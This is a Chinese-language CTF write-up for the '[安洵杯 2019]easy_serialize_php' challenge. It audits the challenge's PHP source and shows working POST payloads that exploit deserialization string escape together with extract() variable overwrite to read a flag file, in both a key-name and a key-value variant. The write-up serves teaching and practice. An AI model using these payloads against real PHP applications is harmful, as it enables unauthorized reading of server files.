反序列化逃逸&变量覆盖 [安洵杯 2019]easy_serialize_php1
后台-插件-广告管理-内容页头部广告(手机) |
打开题目
题目源码:
- <?php
- $function = @$_GET['f'];
- function filter($img){
- $filter_arr = array('php','flag','php5','php4','fl1g');
- $filter = '/'.implode('|',$filter_arr).'/i';
- return preg_replace($filter,'',$img);
- }
- if($_SESSION){
- unset($_SESSION);
- }
- $_SESSION["user"] = 'guest';
- $_SESSION['function'] = $function;
- extract($_POST);
- if(!$function){
- echo 'source_code';
- }
- if(!$_GET['img_path']){
- $_SESSION['img'] = base64_encode('guest_img.png');
- }else{
- $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
- }
- $serialize_info = filter(serialize($_SESSION));
- if($function == 'highlight_file'){
- highlight_file('index.php');
- }else if($function == 'phpinfo'){
- eval('phpinfo();'); //maybe you can find something in here!
- }else if($function == 'show_image'){
- $userinfo = unserialize($serialize_info);
- echo file_get_contents(base64_decode($userinfo['img']));
- }
我们简单代码审计一下
$function = @$_GET['f']; //从 GET 请求中获取名为 'f' 的参数,并赋值给 $function 变量。使用 @ 符号来抑制可能的未定义变量警告,
function filter($img){ //定义了一个名为 filter 的函数,接受一个参数 $img。
$filter_arr = array('php','flag','php5','php4','fl1g'); //$filter_arr 数组包含了需要过滤掉的关键词列表,如 'php', 'flag', 'php5', 'php4', 'fl1g'。
$filter = '/'.implode('|',$filter_arr).'/i'; //将关键词数组连接成一个以竖线 | 分隔的字符串,形成一个正则表达式模式,如 (php|flag|php5|php4|fl1g)。/.../i 是一个正则表达式模式,用于在 preg_replace() 函数中替换匹配到的内容。这里的 i 标志表示不区分大小写
return preg_replace($filter,'',$img); //将匹配到的字符串替换为空字符串,实现了过滤功能。
mplode() 函数返回一个由数组元素组合成的字符串
preg_replace 函数执行一个正则表达式的搜索和替换。
将敏感字符(‘php’,‘flag’,‘php5’,‘php4’,‘fl1g’)替换成 空格
这里是反序列化字符串变少的情况
if($_SESSION){
unset($_SESSION); //用 unset($_SESSION) 将整个会话数据清除
}$_SESSION["user"] = 'guest'; //将 $_SESSION['user'] 设置为字符串 'guest'
$_SESSION['function'] = $function; //将 $_SESSION['function'] 设置为从 $_GET 或者其他地方获得的值 $functionextract($_POST); //使用 extract() 函数将 $_POST 数组中的键值对提取到当前的符号表中,使得这些键名变成了当前作用域的变量名,对应的值变成了这些变量的值
extract() 函数从数组中将变量导入到当前的符号表(本题的作用是将_SESSION的两个函数user和function变为post传参)
function的value是由$_GET['f']传进来的
当以get方法传入img_path的情况下,$_SESSION['img']为传入的img_path进行base64加密和sha1加密
if(!$function){
echo 'source_code'; //如果 $function 为空,则输出一个链接到 index.php?f=highlight_file 的 标签,显示为 "source_code"
}if(!$_GET['img_path']){ //$_GET['img_path']如果为空
$_SESSION['img'] = base64_encode('guest_img.png'); //则将 $_SESSION['img'] 设置为经 base64 编码后的 'guest_img.png'。
}else{ //如果$_GET['img_path']不为空
$_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); //将 $_GET['img_path'] 进行 base64 编码,并用 sha1 编码,将结果存储到 $_SESSION['img'] 中
}$serialize_info = filter(serialize($_SESSION)); //serialize() 函数将 $_SESSION 数组序列化,并将结果传递给 filter() 函数进行过滤。
对$_SESSION进行序列化
$function的值进行判断,进而显示不同的页面
当function的值等于show_image的时候 将_SESSION反序列化且过滤,将值赋给$serialize_info,然后将值赋给$userinfo['img']指向的文件(base64解密后)最后将会高亮userinfo
if($function == 'highlight_file'){ //如果 $function 的值为 'highlight_file'
highlight_file('index.php'); //highlight_file() 函数来显示 'index.php' 文件的代码
}else if($function == 'phpinfo'){ //如果 $function 的值为 'phpinfo',则使用 eval() 函数执行 phpinfo()
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){ //如果 $function 的值为 'show_image'
$userinfo = unserialize($serialize_info); //通过 unserialize() 函数尝试将 $serialize_info 字符串反序列化为 PHP 数据结构,并将结果存储在 $userinfo 变量
echo file_get_contents(base64_decode($userinfo['img'])); //使用 file_get_contents() 读取并输出对应图像文件的内容
}
做题
我们的思路就是让f=show_image,让反序列化逃逸出$_SESSION['img'] 设置为经 base64 编码后的 'guest_img.png'。写入我们想要的img,读取内容
首先题目给了我们提示
那我们就get传参一个f(就相当于function),让f=phpinfo看看提示
在页面里面看到了flag文件的名字
通过代码的分析,我们可以通过改变img_path的内容或者直接改变userinfo[‘img’]的内容来达到 读取flag的目的
反序列化字符逃逸的两种方法:键值逃逸,键名逃逸
键名逃逸
我们之前在phpinfo中得到提示d0g3_f1ag.php,那我们就尝试去访问一下
将其base64编码得到
构造payload:
首先我们需要构造img属性
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";
构造payload为
这里借用大佬的代码进行进一步理解
这样理解可能有点无法彻底理解
我们加上源代码中的filter函数看看
代码如下:
- <?php
- header("Content-type:text/html;charset=utf-8");
- echo "添加属性img前";
- $_SESSION['phpflag']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
- $_SESSION['img'] = base64_encode('guest_img.png');
- function filter($img)
- {
- $filter_arr = array('php', 'flag', 'php5', 'php4', 'fl1g');
- $filter = '/' . implode('|', $filter_arr) . '/i';
- return preg_replace($filter, '', $img);
- }
- echo "没有黑名单过滤的反序列化后";
- $test = serialize($_SESSION);
- var_dump(unserialize($test));
- echo "
"; - echo "有黑名单过滤的反序列化后";
- $test = filter(serialize($_SESSION));
- var_dump(unserialize($test));
- ?>
运行结果如下
这样就验证了我们之前的说法
所以构造我们的payload为
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
这里红色加粗的可以随意,只要长度为7就行
;s:1:"1
;s:2:"99
;s:4:"3366
等等
传入payload后,查看页面源代码
我们要读取的是
/d0g3_fllllllag我们进行base64加密后
替换到payload中即可
payload为:
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
得到flag
键值逃逸
构造payload:
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}
原理和键名逃逸相同
替换了23个空格
刚好往后读取了红色的部分填充作为user的属性内容长度
“;s:8:"function";s:57:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}"
而后面我们填充的img属性自然而然把原先的img挤出去了
后面的做法和键名逃逸的思路是一样的,这里不再赘述
知识点:
implode函数
implode() 函数,把数组元素组合为字符串。
语法
implode(separator,array)参数 | 描述 |
---|---|
separator | 可选。规定数组元素之间放置的内容。默认是 ""(空字符串)。 |
array | 必需。要组合为字符串的数组。 |
例子:
- <?php
- $arr = array('Hello','World!','I','love','Shanghai!');
- echo implode(" ",$arr);
- ?>
运行结果为:
Hello World! I love Shanghai!
extract函数
定义和用法
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
第二个参数 type 用于指定当某个变量已经存在,而数组中又有同名元素时,extract() 函数如何对待这样的冲突。
该函数返回成功导入到符号表中的变量数目。
语法
extract(array,extract_rules,prefix)参数 | 描述 |
---|---|
array | 必需。规定要使用的数组。 |
extract_rules | 可选。extract() 函数将检查每个键名是否为合法的变量名,同时也检查和符号表中已存在的变量名是否冲突。对不合法和冲突的键名的处理将根据此参数决定。 可能的值:
|
prefix | 可选。请注意 prefix 仅在 extract_type 的值是 EXTR_PREFIX_SAME,EXTR_PREFIX_ALL,EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS 时需要。如果附加了前缀后的结果不是合法的变量名,将不会导入到符号表中。 前缀和数组键名之间会自动加上一个下划线 |
参考下面这个实例就能很清楚看明白如果变量有冲突,该怎么设置
实例
- <?php
- $a = "Original";
- $my_array = array("a" => "Cat", "b" => "Dog", "c" => "Horse");
- extract($my_array, EXTR_PREFIX_SAME, "dup");
- echo "\$a = $a; \$b = $b; \$c = $c; \$dup_a = $dup_a";
- ?>
运行结果为:$a = Original; $b = Dog; $c = Horse; $dup_a = Cat
extract变量覆盖代码
我们get传参,此时原先的user和function的值就删去了,重新添加了我们get传入的参数
如果传入不是_session[]= 的格式,就无法实现覆盖
unset函数
unset() 函数用于销毁给定的变量。
PHP Filter
PHP 过滤器用于对来自非安全来源的数据(比如用户输入)进行验证和过滤。
具体使用见:
PHP Filter 函数 | 菜鸟教程
参考文章见:
BUUCTF之[安洵杯 2019]easy_serialize_php -------- 反序列化/序列化和代码审计_ctf 反序列化变量覆盖-CSDN博客
[安洵杯 2019]easy_serialize_php 1-CSDN博客
需要用到的工具:
在线文本字符数统计工具 - UU在线工具
知识点的参考文章:
PHP extract() 函数
PHP implode() 函数
1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。
在线投稿:投稿 站长QQ:1888636
后台-插件-广告管理-内容页尾部广告(手机) |